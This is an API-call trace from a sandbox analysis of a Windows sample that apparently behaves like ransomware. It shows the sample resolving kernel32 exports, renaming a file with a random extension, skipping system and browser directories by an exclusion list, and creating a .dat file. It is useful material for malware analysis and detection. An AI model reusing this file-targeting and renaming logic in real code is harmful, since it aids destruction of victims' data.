lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0146.933] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0146.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0146.933] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0146.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0146.933] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0146.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0146.933] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0146.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0146.933] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0146.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0146.933] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0146.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0146.933] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0146.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0146.933] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0146.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0146.933] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0146.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0146.933] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0146.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0146.933] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0146.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0146.933] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0146.933] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0146.934] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0146.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0146.934] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0146.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0146.934] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0146.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0146.934] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0146.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0146.934] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0146.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0146.934] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0146.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0146.934] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0146.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0146.934] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0146.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0146.934] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0146.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0146.934] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0146.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0146.934] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0146.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0146.934] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0146.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0146.934] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0146.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0146.934] lstrlenA (lpString="COPYCONTEXT") returned 11 [0146.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0146.934] lstrlenA (lpString="COPYFILE2") returned 9 [0146.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0146.934] lstrlenA (lpString="COPYFILEA") returned 9 [0146.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0146.934] lstrlenA (lpString="COPYFILEEXA") returned 11 [0146.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0146.934] lstrlenA (lpString="COPYFILEEXW") returned 11 [0146.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0146.934] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0146.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0146.934] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0146.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0146.934] lstrlenA (lpString="COPYFILEW") returned 9 [0146.934] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0146.934] lstrlenA (lpString="COPYLZFILE") returned 10 [0146.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0146.935] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0146.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0146.935] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0146.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0146.935] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0146.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0146.935] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0146.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0146.935] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0146.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0146.935] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0146.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0146.935] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0146.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0146.935] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0146.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0146.935] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0146.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0146.935] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0146.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0146.935] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0146.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0146.935] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0146.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0146.935] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0146.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0146.935] lstrlenA (lpString="CREATEEVENTA") returned 12 [0146.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0146.935] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0146.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0146.935] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0146.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0146.935] lstrlenA (lpString="CREATEEVENTW") returned 12 [0146.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0146.935] lstrlenA (lpString="CREATEFIBER") returned 11 [0146.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0146.935] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0146.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0146.935] lstrlenA (lpString="CREATEFILE2") returned 11 [0146.935] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0146.935] lstrlenA (lpString="CREATEFILEA") returned 11 [0146.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0146.936] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0146.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0146.936] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0146.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0146.936] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0146.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0146.936] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0146.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0146.936] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0146.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0146.936] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0146.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0146.936] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0146.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0146.936] lstrlenA (lpString="CREATEFILEW") returned 11 [0146.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0146.936] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0146.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0146.936] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0146.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0146.936] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0146.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0146.936] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0146.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0146.936] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0146.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0146.936] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0146.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0146.936] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0146.936] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0146.939] lstrlenA (lpString="CREATEJOBSET") returned 12 [0146.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0146.939] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0146.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0146.939] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0146.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0146.939] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0146.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0146.939] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0146.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0146.939] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0146.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0146.939] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0146.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0146.939] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0146.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0146.939] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0146.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0146.939] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0146.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0146.939] lstrlenA (lpString="CREATEPIPE") returned 10 [0146.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0146.939] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0146.939] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0146.940] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0146.940] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0146.940] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0146.940] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0146.940] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0146.940] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0146.940] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0146.940] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0146.940] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0146.940] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0146.940] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0146.940] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0146.940] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0146.940] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0146.940] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0146.940] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0146.940] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0146.940] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0146.940] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0146.940] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0146.940] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0146.940] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0146.940] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0146.940] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0146.940] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0146.940] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0146.940] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0146.940] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0146.940] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0146.940] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0146.940] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0146.940] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0146.940] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0146.940] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0146.940] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0146.940] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0146.940] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0146.940] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0146.940] lstrlenA (lpString="CREATETHREAD") returned 12 [0146.940] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0146.940] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0146.940] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0146.941] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0146.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0146.941] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0146.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0146.941] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0146.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0146.941] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0146.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0146.941] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0146.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0146.941] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0146.941] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0146.941] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.9NAqjRk") returned 49 [0146.941] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.9NAqjRk" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.9naqjrk"), dwFlags=0x0) returned 1 [0146.942] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.942] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.942] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.942] FindNextFileW (in: hFindFile=0x3b81480, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0146.943] FindClose (in: hFindFile=0x3b81480 | out: hFindFile=0x3b81480) returned 1 [0146.943] CloseHandle (hObject=0x528) returned 1 [0146.943] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="Graphics", cAlternateFileName="")) returned 1 [0146.943] lstrcmpW (lpString1="Graphics", lpString2=".") returned 1 [0146.943] lstrcmpW (lpString1="Graphics", lpString2="..") returned 1 [0146.943] lstrcatW (in: lpString1="Graphics", lpString2="\\" | out: lpString1="Graphics\\") returned="Graphics\\" [0146.943] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="Graphics\\" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\" [0146.943] StrStrW (lpFirst="C:\\588bce7c90097ed212\\Graphics\\", lpSrch=":\\Windows") returned 0x0 [0146.943] StrStrW (lpFirst="C:\\588bce7c90097ed212\\Graphics\\", lpSrch="\\Program Files") returned 0x0 [0146.943] StrStrW (lpFirst="C:\\588bce7c90097ed212\\Graphics\\", lpSrch="\\Games\\") returned 0x0 [0146.943] StrStrW (lpFirst="C:\\588bce7c90097ed212\\Graphics\\", lpSrch="\\Tor Browser\\") returned 0x0 [0146.943] StrStrW (lpFirst="C:\\588bce7c90097ed212\\Graphics\\", lpSrch="\\ProgramData\\") returned 0x0 [0146.943] StrStrW (lpFirst="C:\\588bce7c90097ed212\\Graphics\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0146.943] StrStrW (lpFirst="C:\\588bce7c90097ed212\\Graphics\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0146.943] StrStrW (lpFirst="C:\\588bce7c90097ed212\\Graphics\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0146.943] StrStrW (lpFirst="C:\\588bce7c90097ed212\\Graphics\\", lpSrch="\\All Users") returned 0x0 [0146.943] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\") returned 31 [0146.943] lstrlenW (lpString="eogwkz.dat") returned 10 [0146.943] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\Graphics\\\\eogwkz.dat") returned 42 [0146.943] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\graphics\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x528 [0146.969] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\") returned 31 [0146.969] lstrlenW 